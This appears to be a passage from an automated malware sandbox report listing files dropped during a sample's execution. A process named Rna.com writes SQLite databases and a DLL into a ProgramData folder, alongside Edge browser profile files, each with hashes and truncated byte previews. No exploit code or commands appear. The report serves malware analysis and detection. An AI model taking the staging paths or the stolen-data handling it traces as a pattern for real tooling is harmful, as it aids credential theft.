Preview:	Cr24....t.........0.."0....H.............0.........,.i....9M..uEW....}.n..u..._3.08.:D.e]..'J...........l..)8`....:..P}........p..w(...v...Cm@....6..8...$._v....#a(.p..o:..=.....ef.C....M+.s.0g..@.'4.$ZN..e.....T.. ...F..;Sij[...&ZTH[.].D.z. ...A..<z...Ti....&..Z&u....D......\un.....................mR...B[.r..X...;.R..Y...j...x...3.9.h...R.L....a....V%[.W_/v.A}.VV....H..1..s.9lH.7...M..^.\|.C5...#..`...dJ.."..8....w......L../.........w....v.A....0..P....JU...~.-..[....K.d..i%.7....?].......1RiP..A.... ...b ...V2............f._~....IH.c.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........q......:...L`\.q..?Rn.W/.\a...g...).....Q...8......J5.Z.~....0.Lt\|...d....D......=...}A3bG.Ra.oyZ..BP..,t./.0...w..WA.p.

C:\ProgramData\g4opz\jw4w4o

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.26490293555246
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMCSAELyKOMq+8QTQKC+CVumes:K0q+n0JC9ELyKOMq+8Q7Xs
MD5:	A81253912E4C960FB263F2B4B501EBFA
SHA1:	B401017D617E8F6F685A8D38D4DAF656F26E497D
SHA-256:	24CB01073B4F9E71441B34D51A83AA78D326A3E82AFDE33568152F22FC005F9E
SHA-512:	736B8B8970B6F55C77AD86799091E7A4B51F64264AF6CE63A6D8DE6758DF6E34B58C66CA63B41EFE0E46E0019539A2F963FD7CD7B29B1F9C30D957213214D643
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\mycj5f

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24008
Entropy (8bit):	6.062446965815151
Encrypted:	false
SSDEEP:	192:GKODczWz9IdqYbN9h+rKipXKuS28xb3HWJvah46Flkzl2W4FWEWSawTyihVWQ4e1:6DiWzGG+mKlxb32JyczEW4FWdwGyUlI
MD5:	6AEAEBF650EFC93CD3B6670A05724FE8
SHA1:	A4FE07E6C678AC8D4DC095997DB5043668D103B4
SHA-256:	C86891B9DF9FEEA2E98F50C9950CB446DB97A513AF0C23810F7CA818A6187329
SHA-512:	5C7E8C7DBAEB22956C774199BAD83312987240D574160B846349C0E237445407FF1CAACD2984BFAD0BBBE6011CC8918AF60A0EBBE82A8561CAFA4DF825ADD183
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: hX2c2UOBSX.exe, Detection: malicious, Browse Filename: dOuC8iH5As.exe, Detection: malicious, Browse Filename: SQ1NgqeTQy.exe, Detection: malicious, Browse Filename: 1l1ohfybAf.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: 2E02vIiMfd.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: 25xTHcaF7V.exe, Detection: malicious, Browse Filename: test.hta, Detection: malicious, Browse Filename: din.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q..Q..Q..E...S..E...]..Q..t..E...Z..E...P..E...S..E.S.P..E...P..RichQ..................PE..d....Q.!..........",.........$......................................................Bn....`A.........................................<..X....<..x....p..(....`..h....<...!......(....8..T............................0..............(1..0............................text...p........................... ..`.rdata..>....0......................@..@.data...`....P.......0..............@....pdata..h....`.......2..............@..@.rsrc...(....p.......4..............@..@.reloc..(............:..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\phv3ek

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08432026317203951
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vD:51zkVmvQhyn+Zoz67+
MD5:	C444D5B9503F9CCFA9750AB3D51848E9
SHA1:	FFF755261E04C7502AF2F172DE3752D9458100FE
SHA-256:	66EA7282C9A15E75F5F52CB5D745FD1B4830045EB70D99AB4F07744A67E0879E
SHA-512:	E22CC4F41EC10146718E2767B68DCB20CF02AEC55DA8686988A16350045D6A31B9CDF16B7329EE436E9DBF1795699809819FEC2E7D9D460B046FAEC65BC48334
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\riwlf3

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3958094375125357
Encrypted:	false
SSDEEP:	48:nQwlrNmQnc/vSpKll7DYMcCSG8JO8VFDYMcSzi:QcfITll4/jVG
MD5:	CB5BF3CC261B4FE5AD758C20925373CD
SHA1:	9EC0DE71E0263B7C0714043097DC2AE669C2F2BE
SHA-256:	CEE51CA746542EEDE94535D76234D0D5F336EBB474AC70A577304C6F0651032E
SHA-512:	852A02FE2981DAA552414D028D3F9689CF13B0082BC628F146171FC40BF4416C9E5623EA36693B42401346923CDDD703B2710A1C49C280E5A55334FB5AB72680
Malicious:	false
Preview:	7....-..............{...l..@A..............{....8..S^.SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\v3w47q

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4opz\y5xtj5

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1e588560-40c3-4621-96d0-15c0e93a488e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44735
Entropy (8bit):	6.095978027520341
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xszLmZvO7VuouRf33VeKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7yOyRzKoRTuiVIos
MD5:	DE2586EAECCDCB6784F1F7A6823AF84F
SHA1:	1FCE5DB01AC128B0C81DAF822926B53E5C558E8A
SHA-256:	E67F6FB956694AEAD694A128E14769CE58A6DC1A99ABFB8ED6278D2F4E1D3EBC
SHA-512:	ACCE33D689215ADEC9AE99E1225670E55CC6D13FDD4BB62BD24964DD903F9B23EDD4CEA0E25BB88E363A220143FCD26112179EEAFBA21E80E57FAFF0E84C5A53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5bef4074-8112-430d-9746-3dc74bc4d72d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44637
Entropy (8bit):	6.096053648253758
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k1zLmZvO7VYaIRuF8sKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynVRFKoRTuiVIos
MD5:	AB26E469304E2C690082DA79F2DA0CF6
SHA1:	3424E3800DD66878AAA9F4A7DD808D1CAB155E2F
SHA-256:	931CE9A4501E5F7C1B335BD846A0EBBBC73217EE3697E617F8815150ADAE9815
SHA-512:	406852EF5E44A1244F4BB5ACF4D656E236B6FC0002D2230CD931B76277A3BB09AAE3B5F06BF3FBE72AA3370BEE67F14E1C7EA30F83153627DE0AFE96E88510D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9358be15-7d15-4c92-845a-f8ed82a587bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44637
Entropy (8bit):	6.096053648253758
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k1zLmZvO7VYaIRuF8sKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynVRFKoRTuiVIos
MD5:	AB26E469304E2C690082DA79F2DA0CF6
SHA1:	3424E3800DD66878AAA9F4A7DD808D1CAB155E2F
SHA-256:	931CE9A4501E5F7C1B335BD846A0EBBBC73217EE3697E617F8815150ADAE9815
SHA-512:	406852EF5E44A1244F4BB5ACF4D656E236B6FC0002D2230CD931B76277A3BB09AAE3B5F06BF3FBE72AA3370BEE67F14E1C7EA30F83153627DE0AFE96E88510D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4c443957-77f8-440a-990c-6e095868770a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640170426597143
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	6394DF23AF5C95E6BFF1F5911C9468AA
SHA1:	D8BAB4C3BFF49A568D068806B861CA799A54F49C
SHA-256:	443FDC14097F0E18510EE4ED3F09E23389DA0589517279014A56937236E2850B
SHA-512:	267B4869A2E1469B32BCE16D1384227DAF48AB22D0FBF1A5B17AAC6D4404D77DFF7664696D0E913E0A0C3EB3EC0801714098A53B1960DD51392EDCC599A1C13B
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640170426597143
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	6394DF23AF5C95E6BFF1F5911C9468AA
SHA1:	D8BAB4C3BFF49A568D068806B861CA799A54F49C
SHA-256:	443FDC14097F0E18510EE4ED3F09E23389DA0589517279014A56937236E2850B
SHA-512:	267B4869A2E1469B32BCE16D1384227DAF48AB22D0FBF1A5B17AAC6D4404D77DFF7664696D0E913E0A0C3EB3EC0801714098A53B1960DD51392EDCC599A1C13B
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67A63852-1C30.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04760036448506087
Encrypted:	false
SSDEEP:	192:U6Cylm0pqtm6nOAQJYxJy7qiRD80JVFg8XTDIFhEHsBzh+IhNYv+RQ8TfWAqn8ys:R/lm0ctpbK69nhj8mvWAq08T2RGOD
MD5:	B20D00DF5C56E74425E8D5F552A76840
SHA1:	68213F1F6EBECA275D263277AC5845462110D4F1
SHA-256:	DB03483A249F0C6FF087EEC279D0C14DA6D9541D1C62C8210339CEBA4F70170B
SHA-512:	658EFE6F79D3BA350EF996B926ED5DC476DD01A3E526430D7A81F82324AB26E9745A820E02A52F4FE69D430F9AE127CEA1F29A44CE2DAB7FF8FDDCB3D1B66F93
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ctgyqf20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67A63853-8D8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4387333771522961
Encrypted:	false
SSDEEP:	3072:OjGXX2CqPM10WBhWcZgvkcfOJC79r7fW0qbQ0eBOA5IEjvg1HFO:bXXoMScZykcfPxHq/eBOA5IEjvaHg
MD5:	699D4905A038BAC0B263A763E86745EF
SHA1:	FCCA615CB8CE9039717C0FD0184ACCF8548F3B35
SHA-256:	336530614CA0CB938BFA02949F42728AA7DB177A365528AF1A224343DC5BD2A5
SHA-512:	24FA04052A068D7DC7A2B2346F2796A99F35B3BCC7629CBCD07E1842C8C0D56446B646615D3167690756188B53B03068A1EAAFA963BC201C5C358042907B94B0
Malicious:	false
Preview:	...@..@...@.....C.].....@................^...]..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ctgyqf20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\307c1f97-9277-451b-bbd4-7c5dfbee967d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14164
Entropy (8bit):	5.288104271783705
Encrypted:	false
SSDEEP:	192:stCJ99QTryDigabatSuypas3ntIa3436knYkmyK83bV+F5uQwu+4mf7NIi+PdYJ:stCPGKSu4as3tX+LbGwQwufmf7NIi5
MD5:	B9D815B2632E73F33794E4AA26F73CA0
SHA1:	68D4F95E0B577FA1C0DABDA6856F0EEBFB69F7F6
SHA-256:	55C1349C698B4D09CE15610FBA703C4C09FA04ACD899D96398E8CD50C37C125A
SHA-512:	CB4497A128F519A34BD17ECD0B503A757EDC3420DB3F3896C5EE6ACF919C311D26D23250BAA5D97EF2B45C7B40A9BC39994FF01B4CC9260EF57DCC6FA8CD011D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383420244503143","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\67505ba6-aa05-41d8-9bdf-20a882868edb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\67e9840d-6cd3-4a3a-ba47-9a5966929af6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.557867397878153
Encrypted:	false
SSDEEP:	768:nMrQSBWP+kftC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVAj+Yc6IrwtLEjqKp0tuE:nMrQSBWP+kftCu1jaXiYc6ZtLEmZtH
MD5:	0DDF93EE9A9FFF5F0AD1822C38E98ECC
SHA1:	D24DF141F41A627F03E19030DB9928FBA1BB2ACC
SHA-256:	232D616DA650AD354B265EF4B17FE3BF07D559691F53B147AAD591BA6BE9A833
SHA-512:	243D3760D21EB7ACB6C868DF36DE81A17D9E0C6FF9395AC1AA8AE2E50C005614E0524341F972F431A72D8CE8318EB6547DA9EF5C98C9BBD8A43C5540D679E2E1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383420243819375","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_